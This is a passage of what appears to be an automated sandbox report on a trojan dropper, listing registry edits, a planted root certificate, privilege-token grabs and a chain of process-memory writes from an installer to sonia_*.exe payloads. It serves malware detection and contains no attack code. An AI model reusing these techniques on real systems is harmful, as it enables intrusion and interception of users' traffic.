Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 0100000068473f748a6898483a51c3db5db3cf41a8387380bea4dec3876c8ac635f1ecb631cf039f31f1b3932457b5e43486f3f2a3810238ab24ce6c3db1	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{74WP1CM3-506M-V62R-WR42-7MQP227Y2YLP}	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CRLs	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$MediaWiki	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{2DAA8C18-4495-471D-9187-0673065C1D46} = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000b42c8249a6e89b3df640146b59948ae2bc85f9e49aede629f30160a2e9e0609ffdef8980cdbe3bf24e5e8f44a05beb62efcf59683730041d89d972beb478942530c80a31f55504a3d038d43f689610231dec5e5bdde5adf1311b	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 9f0309daa47dd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Next Rating Prompt = 60de5b42a491d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = bfcfcec6a47dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

sonia_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sonia_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sonia_3.exe

Runs .reg file with regedit 2 IoCs

Processes:

regedit.exeregedit.exe

pid process

6252 regedit.exe
6464 regedit.exe
Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

5952 PING.EXE
5460 PING.EXE

pid	process
6252	regedit.exe
6464	regedit.exe

pid	process
5952	PING.EXE
5460	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

sonia_2.exerundll32.exesvchost.exe

pid	process
2920	sonia_2.exe
2920	sonia_2.exe
2996	rundll32.exe
2996	rundll32.exe
492	svchost.exe
492	svchost.exe
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3020
Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

WerFault.exeMicrosoftEdgeCP.exeSensitive.exe.comAcre.exe.com

pid process

2920 WerFault.exe
6408 MicrosoftEdgeCP.exe
6408 MicrosoftEdgeCP.exe
4540 Sensitive.exe.com
6036 Acre.exe.com
6036 Acre.exe.com

pid	process
3020

pid	process
2920	WerFault.exe
6408	MicrosoftEdgeCP.exe
6408	MicrosoftEdgeCP.exe
4540	Sensitive.exe.com
6036	Acre.exe.com
6036	Acre.exe.com

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

sonia_4.exerundll32.exesvchost.exeVOF7k1PrutOB9rDMHKk0Y33F.exe

description	pid	process
Token: SeDebugPrivilege	2188	sonia_4.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	492	svchost.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeDebugPrivilege	2996	rundll32.exe
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeCreateTokenPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeAssignPrimaryTokenPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeLockMemoryPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeIncreaseQuotaPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeMachineAccountPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeTcbPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeSecurityPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeTakeOwnershipPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeLoadDriverPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeSystemProfilePrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeSystemtimePrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeProfSingleProcessPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeIncBasePriorityPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeCreatePagefilePrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeCreatePermanentPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeBackupPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeRestorePrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeShutdownPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeDebugPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeAuditPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeSystemEnvironmentPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeChangeNotifyPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeRemoteShutdownPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeUndockPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeSyncAgentPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeEnableDelegationPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeManageVolumePrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeImpersonatePrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeCreateGlobalPrivilege	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: 31	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: 32	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: 33	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: 34	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: 35	5052	VOF7k1PrutOB9rDMHKk0Y33F.exe
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid process

3020
3020
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

3020
5224 MicrosoftEdge.exe
6408 MicrosoftEdgeCP.exe
6408 MicrosoftEdgeCP.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3020

pid	process
3020
3020

pid	process
3020
5224	MicrosoftEdge.exe
6408	MicrosoftEdgeCP.exe
6408	MicrosoftEdgeCP.exe

pid	process
3020

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

8 (22).exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.exesonia_1.exesonia_6.exerUNdlL32.eXesonia_4.exerundll32.exesvchost.exe

description	pid	process	target process
PID 2840 wrote to memory of 1744	2840	8 (22).exe	setup_installer.exe
PID 2840 wrote to memory of 1744	2840	8 (22).exe	setup_installer.exe
PID 2840 wrote to memory of 1744	2840	8 (22).exe	setup_installer.exe
PID 1744 wrote to memory of 3064	1744	setup_installer.exe	setup_install.exe
PID 1744 wrote to memory of 3064	1744	setup_installer.exe	setup_install.exe
PID 1744 wrote to memory of 3064	1744	setup_installer.exe	setup_install.exe
PID 3064 wrote to memory of 3844	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 3844	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 3844	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 980	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 980	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 980	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 1776	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 1776	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 1776	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2332	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2332	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2332	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2160	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2160	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2160	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2388	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2388	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 2388	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 3480	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 3480	3064	setup_install.exe	cmd.exe
PID 3064 wrote to memory of 3480	3064	setup_install.exe	cmd.exe
PID 2332 wrote to memory of 2188	2332	cmd.exe	sonia_4.exe
PID 2332 wrote to memory of 2188	2332	cmd.exe	sonia_4.exe
PID 2388 wrote to memory of 2184	2388	cmd.exe	sonia_6.exe
PID 2388 wrote to memory of 2184	2388	cmd.exe	sonia_6.exe
PID 2388 wrote to memory of 2184	2388	cmd.exe	sonia_6.exe
PID 2160 wrote to memory of 3560	2160	cmd.exe	sonia_5.exe
PID 2160 wrote to memory of 3560	2160	cmd.exe	sonia_5.exe
PID 2160 wrote to memory of 3560	2160	cmd.exe	sonia_5.exe
PID 1776 wrote to memory of 1192	1776	cmd.exe	sonia_3.exe
PID 1776 wrote to memory of 1192	1776	cmd.exe	sonia_3.exe
PID 1776 wrote to memory of 1192	1776	cmd.exe	sonia_3.exe
PID 3844 wrote to memory of 508	3844	cmd.exe	sonia_1.exe
PID 3844 wrote to memory of 508	3844	cmd.exe	sonia_1.exe
PID 3844 wrote to memory of 508	3844	cmd.exe	sonia_1.exe
PID 980 wrote to memory of 2920	980	cmd.exe	sonia_2.exe
PID 980 wrote to memory of 2920	980	cmd.exe	sonia_2.exe
PID 980 wrote to memory of 2920	980	cmd.exe	sonia_2.exe
PID 508 wrote to memory of 3032	508	sonia_1.exe	sonia_1.exe
PID 508 wrote to memory of 3032	508	sonia_1.exe	sonia_1.exe
PID 508 wrote to memory of 3032	508	sonia_1.exe	sonia_1.exe
